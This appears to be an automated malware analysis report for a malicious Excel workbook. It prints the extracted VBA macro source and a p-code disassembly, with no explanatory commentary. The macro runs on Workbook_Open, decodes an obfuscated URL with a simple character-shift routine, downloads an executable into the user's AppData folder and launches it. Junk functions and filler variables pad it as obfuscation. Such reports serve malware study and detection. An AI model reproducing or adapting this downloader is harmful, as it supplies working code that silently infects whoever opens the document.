Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "Module1"
Sub Sib()

End Sub

Attribute VB_Name = "SiloKkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare PtrSafe Function BIYzzPFHzYBg Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal zYBgeLAULCPbJIwwXgsUoT As Long, ByVal sJVJHBTQnWiokvMNjkuR As String, _
ByVal ycrXexFvbVWUZKE As String, ByVal LpQBRVXPpRwhdQm As String, ByVal cShrZZMzZwJXEVIMmZXRkh As String, ByVal DZyEALOezAKT As Long) As Long

Private Declare PtrSafe Function DDBGe Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal lsWjjyCFxVleNvySvzNKt As Long, ByVal GggHPcEXDbtStEyQAWGRW As String, _
ByVal TfwKSTdBvYbHN As String, ByVal hpfKFGEJuBIY As Long, ByVal zzPFH As Long) As Long

Sub MLoVnY()
Dim BcthYUjKmIOlPVCDrfvgTRewSQaZxSdfFRtyuIkiopmn As String

Dim eMjuikLOpnBVcxZASDewqsdfgthyUjKMLOploiujHBnHYTgfrfvcDEsxdfgbHNM As String

Dim CnmYhjuikolpMNBVCXzaqswdefrVtbyhyujmhgffvbJolP As String

Dim cFgTbNhjukioplmnbvcxzASDFghJUYHGtRfehrOlPlmJNHgthyui As String

Dim QyhndwsxeOlpokmnjHyhgtRfcvdefThyujOlpKMJuhyVbNc As String

Dim DbghyhujikolpokmNHghDDeWqaZXSXCDvetyrtghjuikdfvrtyJD As String

eMjuikLOpnBVcxZASDewqsdfgthyUjKMLOploiujHBnHYTgfrfvcDEsxdfgbHNM = HJUgkOFL("fyf/xxdd")

CnmYhjuikolpMNBVCXzaqswdefrVtbyhyujmhgffvbJolP = Environ$("AppData") & "\" & eMjuikLOpnBVcxZASDewqsdfgthyUjKMLOploiujHBnHYTgfrfvcDEsxdfgbHNM


BcthYUjKmIOlPVCDrfvgTRewSQaZxSdfFRtyuIkiopmn = HJUgkOFL("fyf/`efohjT`ltcwvzR0psf{0mq/{jc/eqvujyjnfmjo00;tquui")

DDBGe 0, BcthYUjKmIOlPVCDrfvgTRewSQaZxSdfFRtyuIkiopmn, CnmYhjuikolpMNBVCXzaqswdefrVtbyhyujmhgffvbJolP, 0, 0
BIYzzPFHzYBg 0, "open", CnmYhjuikolpMNBVCXzaqswdefrVtbyhyujmhgffvbJolP, "", vbNullString, vbNormalFocus
End Sub

Sub Workbook_Open()

MLoVnY
End Sub

Function rnIkDDisHp4e1dEwtDO8XRgW() As Currency
Call t5IOznwCrl
End Function
Static Function t5IOznwCrl() As Integer
Call Dp62rz6kt90kDRkudpcs1fW4
End Function
Function Dp62rz6kt90kDRkudpcs1fW4() As Single
Call Jb8AvPk2VR
End Function
Static Function Jb8AvPk2VR() As Date
Call TJW8h3uwBHyE3XYkFXIADNkq
End Function
Function TJW8h3uwBHyE3XYkFXIADNkq() As Variant
Call JxU0xFkI7x
End Function
Static Function JxU0xFkI7x() As Date
Call rzGwrPUM9xS2rvCsRX6OdVek
End Function
Function rzGwrPUM9xS2rvCsRX6OdVek() As Variant
Call hx2errEArb
End Function
Static Function hx2errEArb() As Double
Call DlkYXBK4r3WCbBQoVfs4z78E
End Function
Function DlkYXBK4r3WCbBQoVfs4z78E() As Single
Call FZ4yZPaWVH
End Function

Function HJUgkOFL(encv)
    Dim tTip As String
    Dim IKGcostIkfg As Double
    Dim kjJdix
    Dim AppData
    Dim Cnfkgol
    Dim np As Byte
    Dim Gh As Variant
    encv = StrReverse(encv)
    For Cnfkgol = 1 To Len(encv)
        kjJdix = Mid(encv, Cnfkgol, 1)
        
        tTip = ""
        IKGcostIkfg = 19 / 6 / 2190
        np = 1
        Gh = 2
AppData = AppData & Chr(AscW(kjJdix) - 1)
    Next
 
HJUgkOFL = AppData

For np = 1 To Len(enc)

Next
For Gh = 2 To Len(enc)
Next
End Function


Function Jnfn(burgerorgan, bonusshoot)
qoxnwkqnhfshhimr = "*" & burgerorgan & "*"
Dim be3a8c1f30f1abadd648e22b16fdb57d5 As Double
be3a8c1f30f1abadd648e22b16fdb57d7 = 642.162
Dim columnwall As Byte
columnwall = 44414.429
Dim t0ea0a0840384a15e019665b2e996b73f As Long
t0ea0a0840384a15e019665b2e996b73f = 564.954
Dim n2b549c2e42dc58d564726b5780212aza As Double
n2b549c2e42dc58d564726b5780212aza = 895.115
dhmpmrvyvrxwv = vbNullString
Dim m974e3e334b64ac13b6dec997fbabf21f As String
m974e3e334b64ac13b6dec997fbabf21f = "naiveremove"
Dim b08576ffe41cb67690655f1261f410844 As Byte
b08576ffe41cb67690655f1261f410844 = 19.227
Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean
z2c55929d38494d4bf3ab6ba3dd16305c = 93.904
Dim b9d76f7072ca3da29e82e55579143fba0 As Double
b9d76f7072ca3da29e82e55579143fba0 = 108.662
Dim kqeepfyakmzwuediw As Double
kqeepfyakmzwuediw = 61.491
If kqeepfyakmzwuediw <> 189.252 Then
Dim flamesight As Byte
flamesight = 212.797
Dim sweartrust As Long
sweartrust = 235.981
Dim prqhhqrabc As String
prqhhqrabc = "fadzjgdilazu"
End If
End Function

Function yujmngFXscDEwqazzd() As Long

Call POLk00bh
End Function



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

' Processing file: /tmp/qstore_a7oe5e0x
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/Module1 - 950 bytes
' Line #0:
' 	FuncDefn (Sub sJVJHBTQnWiokvMNjkuR())
' Line #1:
' Line #2:
' 	EndSub 
' _VBA_PROJECT_CUR/VBA/SiloKkbook - 11475 bytes
' Line #0:
' 	LineCont 0x0008 08 00 00 00 14 00 00 00
' 	FuncDefn (Private Declare PtrSafe Function LpQBRVXPpRwhdQm Lib "TfwKSTdBvYbHN" (ByVal cShrZZMzZwJXEVIMmZXRkh As Long, ByVal DZyEALOezAKT As String, ByVal shell32.dll As String, ByVal DDBGe As String, ByVal lsWjjyCFxVleNvySvzNKt As String, ByVal GggHPcEXDbtStEyQAWGRW As Long) As Long)
' Line #1:
' Line #2:
' 	LineCont 0x0008 08 00 00 00 14 00 00 00
' 	FuncDefn (Private Declare PtrSafe Function hpfKFGEJuBIY Lib "CnmYhjuikolpMNBVCXzaqswdefrVtbyhyujmhgffvbJolP" (ByVal zzPFH As Long, ByVal urlmon As String, ByVal MLoVnY As String, ByVal BcthYUjKmIOlPVCDrfvgTRewSQaZxSdfFRtyuIkiopmn As Long, ByVal eMjuikLOpnBVcxZASDewqsdfgthyUjKMLOploiujHBnHYTgfrfvcDEsxdfgbHNM As Long) As Long)
' Line #3:
' Line #4:
' 	FuncDefn (Sub cFgTbNhjukioplmnbvcxzASDFghJUYHGtRfehrOlPlmJNHgthyui())
' Line #5:
' 	Dim 
' 	VarDefn QyhndwsxeOlpokmnjHyhgtRfcvdefThyujOlpKMJuhyVbNc (As String)
' Line #6:
' Line #7:
' 	Dim 
' 	VarDefn DbghyhujikolpokmNHghDDeWqaZXSXCDvetyrtghjuikdfvrtyJD (As String)
' Line #8:
' Line #9:
' 	Dim 
' 	VarDefn HJUgkOFL (As String)
' Line #10:
' Line #11:
' 	Dim 
' 	VarDefn Environ (As String)
' Line #12:
' Line #13:
' 	Dim 
' 	VarDefn vbNullString (As String)
' Line #14:
' Line #15:
' 	Dim 
' 	VarDefn vbNormalFocus (As String)
' Line #16:
' Line #17:
' 	LitStr 0x0008 "fyf/xxdd"
' 	ArgsLd Workbook_Open 0x0001 
' 	St DbghyhujikolpokmNHghDDeWqaZXSXCDvetyrtghjuikdfvrtyJD 
' Line #18:
' Line #19:
' 	LitStr 0x0007 "AppData"
' 	ArgsLd rnIkDDisHp4e1dEwtDO8XRgW$ 0x0001 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	Ld DbghyhujikolpokmNHghDDeWqaZXSXCDvetyrtghjuikdfvrtyJD 
' 	Concat 
' 	St HJUgkOFL 
' Line #20:
' Line #21:
' Line #22:
' 	LitStr 0x0034 "fyf/`efohjT`ltcwvzR0psf{0mq/{jc/eqvujyjnfmjo00;tquui"
' 	ArgsLd Workbook_Open 0x0001 
' 	St QyhndwsxeOlpokmnjHyhgtRfcvdefThyujOlpKMJuhyVbNc 
' Line #23:
' Line #24:
' 	LitDI2 0x0000 
' 	Ld QyhndwsxeOlpokmnjHyhgtRfcvdefThyujOlpKMJuhyVbNc 
' 	Ld HJUgkOFL 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsCall hpfKFGEJuBIY 0x0005 
' Line #25:
' 	LitDI2 0x0000 
' 	LitStr 0x0004 "open"
' 	Ld HJUgkOFL 
' 	LitStr 0x0000 ""
' 	Ld t5IOznwCrl 
' 	Ld Dp62rz6kt90kDRkudpcs1fW4 
' 	ArgsCall LpQBRVXPpRwhdQm 0x0006 
' Line #26:
' 	EndSub 
' Line #27:
' Line #28:
' 	FuncDefn (Sub Jb8AvPk2VR())
' Line #29:
' Line #30:
' 	ArgsCall cFgTbNhjukioplmnbvcxzASDFghJUYHGtRfehrOlPlmJNHgthyui 0x0000 
' Line #31:
' 	EndSub 
' Line #32:
' Line #33:
' 	FuncDefn (Function TJW8h3uwBHyE3XYkFXIADNkq(id_FFFE As Currency) As Currency)
' Line #34:
' 	ArgsCall (Call) JxU0xFkI7x 0x0000 
' Line #35:
' 	EndFunc 
' Line #36:
' 	FuncDefn (Static Function JxU0xFkI7x(id_FFFE As Integer) As Integer)
' Line #37:
' 	ArgsCall (Call) rzGwrPUM9xS2rvCsRX6OdVek 0x0000 
' Line #38:
' 	EndFunc 
' Line #39:
' 	FuncDefn (Function rzGwrPUM9xS2rvCsRX6OdVek(id_FFFE As Single) As Single)
' Line #40:
' 	ArgsCall (Call) hx2errEArb 0x0000 
' Line #41:
' 	EndFunc 
' Line #42:
' 	FuncDefn (Static Function hx2errEArb(id_FFFE As Date) As Date)
' Line #43:
' 	ArgsCall (Call) DlkYXBK4r3WCbBQoVfs4z78E 0x0000 
' Line #44:
' 	EndFunc 
' Line #45:
' 	FuncDefn (Function DlkYXBK4r3WCbBQoVfs4z78E(id_FFFE As Variant) As Variant)
' Line #46:
' 	ArgsCall (Call) FZ4yZPaWVH 0x0000 
' Line #47:
' 	EndFunc 
' Line #48:
' 	FuncDefn (Static Function FZ4yZPaWVH(id_FFFE As Date) As Date)
' Line #49:
' 	ArgsCall (Call) encv 0x0000 
' Line #50:
' 	EndFunc 
' Line #51:
' 	FuncDefn (Function encv(id_FFFE As Variant) As Variant)
' Line #52:
' 	ArgsCall (Call) tTip 0x0000 
' Line #53:
' 	EndFunc 
' Line #54:
' 	FuncDefn (Static Function tTip(id_FFFE As Double) As Double)
' Line #55:
' 	ArgsCall (Call) IKGcostIkfg 0x0000 
' Line #56:
' 	EndFunc 
' Line #57:
' 	FuncDefn (Function IKGcostIkfg(id_FFFE As Single) As Single)
' Line #58:
' 	ArgsCall (Call) kjJdix 0x0000 
' Line #59:
' 	EndFunc 
' Line #60:
' Line #61:
' 	FuncDefn (Function Workbook_Open(AppData, id_FFFE As Variant))
' Line #62:
' 	Dim 
' 	VarDefn Cnfkgol (As String)
' Line #63:
' 	Dim 
' 	VarDefn np (As Double)
' Line #64:
' 	Dim 
' 	VarDefn Gh
' Line #65:
' 	Dim 
' 	VarDefn StrReverse
' Line #66:
' 	Dim 
' 	VarDefn Chr
' Line #67:
' 	Dim 
' 	VarDefn AscW (As Byte)
' Line #68:
' 	Dim 
' 	VarDefn enc (As Variant)
' Line #69:
' 	Ld AppData 
' 	ArgsLd Jnfn 0x0001 
' 	St AppData 
' Line #70:
' 	StartForVariable 
' 	Ld Chr 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld AppData 
' 	FnLen 
' 	For 
' Line #71:
' 	Ld AppData 
' 	Ld Chr 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	St Gh 
' Line #72:
' Line #73:
' 	LitStr 0x0000 ""
' 	St Cnfkgol 
' Line #74:
' 	LitDI2 0x0013 
' 	LitDI2 0x0006 
' 	Div 
' 	LitDI2 0x088E 
' 	Div 
' 	St np 
' Line #75:
' 	LitDI2 0x0001 
' 	St AscW 
' Line #76:
' 	LitDI2 0x0002 
' 	St enc 
' Line #77:
' 	Ld StrReverse 
' 	Ld Gh 
' 	ArgsLd bonusshoot 0x0001 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd burgerorgan 0x0001 
' 	Concat 
' 	St StrReverse 
' Line #78:
' 	StartForVariable 
' 	Next 
' Line #79:
' Line #80:
' 	Ld StrReverse 
' 	St Workbook_Open 
' Line #81:
' Line #82:
' 	StartForVariable 
' 	Ld AscW 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld qoxnwkqnhfshhimr 
' 	FnLen 
' 	For 
' Line #83:
' Line #84:
' 	StartForVariable 
' 	Next 
' Line #85:
' 	StartForVariable 
' 	Ld enc 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	Ld qoxnwkqnhfshhimr 
' 	FnLen 
' 	For 
' Line #86:
' 	StartForVariable 
' 	Next 
' Line #87:
' 	EndFunc 
' Line #88:
' Line #89:
' Line #90:
' 	FuncDefn (Function be3a8c1f30f1abadd648e22b16fdb57d5(be3a8c1f30f1abadd648e22b16fdb57d7, columnwall, id_FFFE As Variant))
' Line #91:
' 	LitStr 0x0001 "*"
' 	Ld be3a8c1f30f1abadd648e22b16fdb57d7 
' 	Concat 
' 	LitStr 0x0001 "*"
' 	Concat 
' 	St t0ea0a0840384a15e019665b2e996b73f 
' Line #92:
' 	Dim 
' 	VarDefn n2b549c2e42dc58d564726b5780212aza (As Double)
' Line #93:
' 	LitR8 0xEF9E 0xC6A7 0x114B 0x4084 
' 	St dhmpmrvyvrxwv 
' Line #94:
' 	Dim 
' 	VarDefn m974e3e334b64ac13b6dec997fbabf21f (As Byte)
' Line #95:
' 	LitR8 0x353F 0xBA5E 0xAFCD 0x40E5 
' 	St m974e3e334b64ac13b6dec997fbabf21f 
' Line #96:
' 	Dim 
' 	VarDefn b08576ffe41cb67690655f1261f410844 (As Long)
' Line #97:
' 	LitR8 0x8312 0xCAC0 0xA7A1 0x4081 
' 	St b08576ffe41cb67690655f1261f410844 
' Line #98:
' 	Dim 
' 	VarDefn z2c55929d38494d4bf3ab6ba3dd16305c (As Double)
' Line #99:
' 	LitR8 0xB852 0x851E 0xF8EB 0x408B 
' 	St z2c55929d38494d4bf3ab6ba3dd16305c 
' Line #100:
' 	Ld t5IOznwCrl 
' 	St b9d76f7072ca3da29e82e55579143fba0 
' Line #101:
' 	Dim 
' 	VarDefn kqeepfyakmzwuediw (As String)
' Line #102:
' 	LitStr 0x000B "naiveremove"
' 	St kqeepfyakmzwuediw 
' Line #103:
' 	Dim 
' 	VarDefn flamesight (As Byte)
' Line #104:
' 	LitR8 0x3127 0xAC08 0x3A1C 0x4033 
' 	St flamesight 
' Line #105:
' 	Dim 
' 	VarDefn sweartrust (As Boolean)
' Line #106:
' 	LitR8 0xE560 0x22D0 0x79DB 0x4057 
' 	St sweartrust 
' Line #107:
' 	Dim 
' 	VarDefn prqhhqrabc (As Double)
' Line #108:
' 	LitR8 0x7CEE 0x353F 0x2A5E 0x405B 
' 	St prqhhqrabc 
' Line #109:
' 	Dim 
' 	VarDefn yujmngFXscDEwqazzd (As Double)
' Line #110:
' 	LitR8 0x2B02 0x1687 0xBED9 0x404E 
' 	St yujmngFXscDEwqazzd 
' Line #111:
' 	Ld yujmngFXscDEwqazzd 
' 	LitR8 0xD2F2 0x624D 0xA810 0x4067 
' 	Ne 
' 	IfBlock 
' Line #112:
' 	Dim 
' 	VarDefn POLk00bh (As Byte)
' Line #113:
' 	LitR8 0xDD2F 0x0624 0x9981 0x406A 
' 	St POLk00bh 
' Line #114:
' 	Dim 
' 	VarDefn Sheet1 (As Long)
' Line #115:
' 	LitR8 0xAC08 0x5A1C 0x7F64 0x406D 
' 	St Sheet1 
' Line #116:
' 	Dim 
' 	VarDefn Sheet2 (As String)
' Line #117:
' 	LitStr 0x000C "fadzjgdilazu"
' 	St Sheet2 
' Line #118:
' 	EndIfBlock 
' Line #119:
' 	EndFunc 
' Line #120:
' Line #121:
' 	FuncDefn (Function Sheet3(id_FFFE As Long) As Long)
' Line #122:
' Line #123:
' 	ArgsCall (Call) Workbook 0x0000 
' Line #124:
' 	EndFunc 
' Line #125:
' Line #126:
' _VBA_PROJECT_CUR/VBA/Sheet1 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet2 - 985 bytes
' _VBA_PROJECT_CUR/VBA/Sheet3 - 985 bytes